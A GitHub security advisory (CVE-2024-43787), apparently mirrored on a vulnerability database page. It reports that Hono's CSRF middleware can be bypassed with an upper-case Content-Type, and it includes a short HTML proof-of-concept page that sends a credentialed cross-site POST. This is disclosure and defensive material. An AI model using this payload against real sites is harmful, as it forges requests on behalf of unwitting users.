GHSA-RPFR-3M35-5VX5
Vulnerability from github – Published: 2024-08-22 16:41 – Updated: 2024-11-18 16:27Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43787"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-22T16:41:08Z",
"nvd_published_at": "2024-08-22T15:15:16Z",
"severity": "LOW"
},
"details": "### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n \u003chead\u003e\n \u003ctitle\u003eCSRF Test\u003c/title\u003e\n \u003cscript defer\u003e\n document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n const res = await fetch(\"http://victim.example.com/test\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"Application/x-www-form-urlencoded\",\n },\n });\n });\n });\n \u003c/script\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003ch1\u003eCSRF Test\u003c/h1\u003e\n \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI\u0027m not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n",
"id": "GHSA-rpfr-3m35-5vx5",
"modified": "2024-11-18T16:27:06Z",
"published": "2024-08-22T16:41:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43787"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hono CSRF middleware can be bypassed using crafted Content-Type header"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.